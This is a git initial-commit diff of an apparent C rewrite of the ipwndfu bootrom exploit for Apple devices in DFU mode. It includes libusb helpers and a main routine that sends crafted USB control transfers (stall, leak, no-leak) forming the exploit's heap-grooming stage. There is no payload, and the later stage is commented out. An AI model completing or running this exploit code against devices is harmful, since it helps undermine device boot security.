Initial commit

This commit is contained in:
2019-10-26 13:43:10 -04:00
commit 99602b5255
4 changed files with 281 additions and 0 deletions

19
CMakeLists.txt Normal file
View File

@@ -0,0 +1,19 @@
cmake_minimum_required(VERSION 3.10)
project(ipwndfu_rewrite_c C)
set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS -g)
add_library(libusb-1.0_custom
libusb/config.h
libusb/libusb/core.c libusb/libusb/descriptor.c libusb/libusb/hotplug.c
libusb/libusb/io.c libusb/libusb/strerror.c libusb/libusb/sync.c
libusb/libusb/hotplug.h libusb/libusb/libusb.h libusb/libusb/libusbi.h libusb/libusb/version.h
libusb/libusb/os/linux_netlink.c libusb/libusb/os/linux_usbfs.c libusb/libusb/os/linux_udev.c
libusb/libusb/os/threads_posix.c libusb/libusb/os/poll_posix.c
libusb/libusb/os/linux_usbfs.h libusb/libusb/os/threads_posix.h libusb/libusb/os/poll_posix.h)
add_executable(ipwndfu main.c libusb_helpers.c libusb_helpers.h)
target_link_libraries(ipwndfu libusb-1.0_custom pthread udev)

159
libusb_helpers.c Normal file
View File

@@ -0,0 +1,159 @@
//
// Created by grg on 10/23/19.
//
#include "libusb_helpers.h"
#include <string.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
void get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundle)
{
libusb_device **usb_device_list = NULL;
int usb_dev_count;
usb_dev_count = libusb_get_device_list(usb_ctx, &usb_device_list);
libusb_device *usb_device = NULL;
libusb_device_handle *usb_handle = NULL;
struct libusb_device_descriptor usb_desc = {0};
for(unsigned int i = 0; i < usb_dev_count; i++)
{
usb_device = usb_device_list[i];
libusb_get_device_descriptor(usb_device, &usb_desc);
if(usb_desc.idVendor == 0x05AC && usb_desc.idProduct == 0x1227)
{
libusb_open(usb_device, &usb_handle);
break;
}
}
libusb_free_device_list(usb_device_list, usb_dev_count);
bundle->handle = usb_handle;
bundle->descriptor = usb_desc;
}
void libusb1_async_ctrl_transfer(libusb_device_handle *handle,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout)
{
struct timeval start, end;
unsigned char usb_transfer_buf[8 + 2 + data_len];
int ret;
gettimeofday(&start, NULL);
struct libusb_transfer *usb_transfer = libusb_alloc_transfer(0);
libusb_fill_control_setup(usb_transfer_buf, bmRequestType, bRequest, wValue, wIndex, 0xC0);
memset(&usb_transfer_buf[8], data_len, 2);
memcpy(&usb_transfer_buf[10], data, data_len);
libusb_fill_control_transfer(usb_transfer, handle, usb_transfer_buf, NULL, NULL, 1);
ret = libusb_submit_transfer(usb_transfer);
if(ret != 0)
{
printf("Failed to submit async USB transfer: %s\n", libusb_error_name(ret));
libusb_free_transfer(usb_transfer);
exit(ret);
}
while(1)
{
gettimeofday(&end, NULL);
if(end.tv_usec - start.tv_usec > timeout)
{
ret = libusb_cancel_transfer(usb_transfer);
libusb_free_transfer(usb_transfer);
if(ret != 0)
{
printf("Failed to cancel async USB transfer: %s\n", libusb_error_name(ret));
exit(ret);
}
return;
}
}
}
void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout)
{
int ret;
unsigned char recipient = bmRequestType & 3u;
unsigned char rqtype = bmRequestType & (3u << 5u);
if(recipient == 1 && rqtype == (2u << 5u))
{
unsigned short interface = wIndex & 0xFFu;
ret = libusb_claim_interface(handle, interface);
if(ret > 0)
{
printf("%s\n", libusb_error_name(ret));
exit(1);
}
}
ret = libusb_control_transfer(handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
if(ret > 0)
{
printf("%s\n", libusb_error_name(ret));
}
}
void stall(libusb_device_handle *handle)
{
printf("Stall\n");
unsigned char *data = malloc(0xC0);
memset(data, 0xA, 0xC0);
libusb1_async_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1000);
free(data);
}
void leak(libusb_device_handle *handle)
{
printf("Leak\n");
unsigned char *data = malloc(0xC0);
memset(data, 0, 0xC0);
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1000);
free(data);
}
void no_leak(libusb_device_handle *handle)
{
printf("No leak\n");
unsigned char *data = malloc(0xC1);
memset(data, 0, 0xC1);
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC1, 1000);
free(data);
}
void usb_req_stall(libusb_device_handle *handle)
{
printf("Req stall\n");
unsigned char data[0];
libusb1_no_error_ctrl_transfer(handle, 0x2, 3, 0, 0x80, data, 0, 10000);
}
void usb_req_leak(libusb_device_handle *handle)
{
printf("Req leak\n");
unsigned char data[0x40];
memset(data, 0, 0x40);
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x40, 1000);
}
void usb_req_no_leak(libusb_device_handle *handle)
{
printf("Req no leak\n");
unsigned char data[0x41];
memset(data, 0, 0x41);
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x41, 1000);
}

34
libusb_helpers.h Normal file
View File

@@ -0,0 +1,34 @@
#ifndef IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
#define IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
#include "libusb-1.0/libusb.h"
struct libusb_device_bundle
{
struct libusb_device_handle *handle;
struct libusb_device_descriptor descriptor;
};
void get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundle);
void libusb1_async_ctrl_transfer(libusb_device_handle *handle,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout);
void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout);
void stall(libusb_device_handle *handle);
void leak(libusb_device_handle *handle);
void no_leak(libusb_device_handle *handle);
void usb_req_stall(libusb_device_handle *handle);
void usb_req_leak(libusb_device_handle *handle);
void usb_req_no_leak(libusb_device_handle *handle);
#endif //IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H

69
main.c Normal file
View File

@@ -0,0 +1,69 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "libusb_helpers.h"
int main()
{
int ret;
libusb_context *usb_ctx = NULL;
libusb_init(&usb_ctx);
struct libusb_device_bundle usb_bundle;
get_test_device(usb_ctx, &usb_bundle);
if(usb_bundle.handle == NULL)
{
libusb_exit(usb_ctx);
printf("Could not find device\n");
return 1;
}
struct libusb_device_handle *usb_handle = usb_bundle.handle;
struct libusb_device_descriptor usb_desc = usb_bundle.descriptor;
ret = libusb_set_auto_detach_kernel_driver(usb_handle, 1);
if(ret > 0)
{
printf("%s\n", libusb_error_name(ret));
exit(1);
}
unsigned char usb_serial_buf[128];
unsigned char usb_data_buf[2048];
unsigned char usb_transfer_buf[2048];
libusb_get_string_descriptor_ascii(usb_handle, usb_desc.iSerialNumber, usb_serial_buf, sizeof(usb_serial_buf));
printf("Found device with serial %s\n", usb_serial_buf);
// begin the USB magic section
unsigned int i;
stall(usb_handle);
for(i = 0; i < 5; i++)
{
no_leak(usb_handle);
}
usb_req_leak(usb_handle);
no_leak(usb_handle);
// libusb_close(usb_handle);
// libusb_exit(usb_ctx);
//
// usb_bundle.handle = NULL;
//
// // section 2
// libusb_init(&usb_ctx);
// get_test_device(usb_ctx, &usb_bundle);
// if(usb_bundle.handle == NULL)
// {
// libusb_exit(usb_ctx);
// printf("Could not find device\n");
// return 1;
// }
return 0;
}